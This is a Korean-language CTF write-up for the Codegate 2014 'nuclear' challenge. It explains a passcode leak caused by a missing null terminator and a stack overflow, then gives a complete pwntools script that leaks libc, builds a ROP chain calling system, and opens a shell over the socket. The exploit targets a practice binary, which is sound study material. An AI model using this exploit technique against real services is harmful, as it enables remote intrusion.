System&Write up/CTF

[Codegate 2014] nuclear

Jubil 2018. 1. 31. 22:19
반응형

[codegate_2014] nuclear

 

 

(이 문제는 예전에 풀다가 놓고 다시 잡은 문제라서 코드나 여러 부분에서 불편함을 느끼실 수 있습니다. 양해 부탁드립니다.)

 


 

바이너리는 이렇습니다.

 


 

무슨 문제였을 지는 모르지만, 1129 포트로 소켓을 연결합니다.

 


 

 

start_routine 함수에서,

 


 

BOF 취약점이 발생합니다.

 

그래프로 따라 올라가보면,

 


 

launch 명령을 입력하고, passcode를 맞췄을 때 호출하는 함수 속에,

 


 

있는 것을 확인 할 수 있습니다.

 

 

그럼 passcode를 일단 알아내야 합니다.

 


 

passcode를 읽어서 변수에 저장하길래, 변수의 이름을 passcode로 바꿔줬습니다.

 

 


 

스택에는 이렇게 쌓입니다. v4, v5[4] 모두 0으로 초기화 되었습니다.

 


 

s1%s로 출력합니다.

 

 


 

“> “가 출력되고 s1을 받습니다. 0x200만큼 꽉 차게 받고, recv()로 받기 때문에 널 바이트도 들어가지 않습니다.

 



 

target 명령에서 v5, v4“%f/%f”로 받고 있어서 모두 값을 채워줄 수 있습니다. , 널 바이트 없이 s1, v4, v5, passcode까지 연결한다면, passcode가 메모리 leak됩니다.

 

 



 

passcode leak 시키는 코드입니다. “> “를 받은 뒤, target을 입력하고 “%f/%f” 형식으로 입력합니다.

 

그리고 s1까지 unknown command로 꽉 채워줍니다.

 

 


 

passcode : th1s 1s p4ssc0d3:)

 

 

launchpasscode를 입력하고 ROP 기법을 이용해서 쉘을 취득하겠습니다.

 

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

from pwn import *

import time

 

= remote("localhost"1129)

= ELF("./nuclear")

 

binsh = "/bin/sh>$4 <$4\x00"

 

ppppr = 0x0804917c

 

send_plt = e.plt['send']

recv_plt = e.plt['recv']

sleep_got = e.got['sleep']

 

sleep_offset = 0x000af040

#sleep_offset = 0x000b6040  wrong offset?

#system_offset = 0x000403b0 wrong offset?

system_offset = 0x0003a940

 

def launch():

    s.sendline("launch")

    s.sendlineafter(": ""th1s 1s p4ssc0d3:)")

    print s.recv(1024)

    pause()

 

payload = ""

payload += "A"*(0x20C + 4)

 

payload += p32(send_plt)

payload += "AAAA"

payload += p32(4)

payload += p32(sleep_got)

payload += p32(4)

payload += p32(0)

 

launch()

s.recv(1024)

s.sendline(payload)

 

sleep_libc = u32(s.recv(4))

libc_base = sleep_libc - sleep_offset

system_libc = libc_base + system_offset

 

print "sleep : " + hex(sleep_libc)

print "libc_base : " + hex(libc_base)

print "system : " + hex(system_libc)

 

s.close()

 

##################################

 

= remote("localhost"1129)

 

payload2 = ""

payload2 += 'A'*(0x20C + 4)

 

payload2 += p32(recv_plt)

payload2 += p32(ppppr)

payload2 += p32(4)

payload2 += p32(e.bss()-8)

payload2 += p32(len(binsh))

payload2 += p32(0)

 

payload2 += p32(system_libc)

payload2 += "AAAA"

payload2 += p32(e.bss()-8)

 

launch()

 

s.sendline(payload2)

s.send(binsh)

sleep(0.1)

 

##################################

 

s.interactive()

Colored by Color Scripter

cs

 

 

/bin/sh를 소켓 fd에 넘겨주면서 쉘을 취득했습니다.

 

 


 

Count Down 때문에 불편하지만 쉘을 땄으니 됐죠!

반응형

'System&Write up > CTF' 카테고리의 다른 글

[OpenCTF 2016] tyro_heap  (0) 2018.02.22
[Codegate 2018] BaskinRobins31  (4) 2018.02.09
[HDCON 2013] luckyzzang  (0) 2018.01.30
[Codegate 2014] angry_doraemon  (0) 2018.01.30
[Codegate 2017] babypwn  (0) 2018.01.29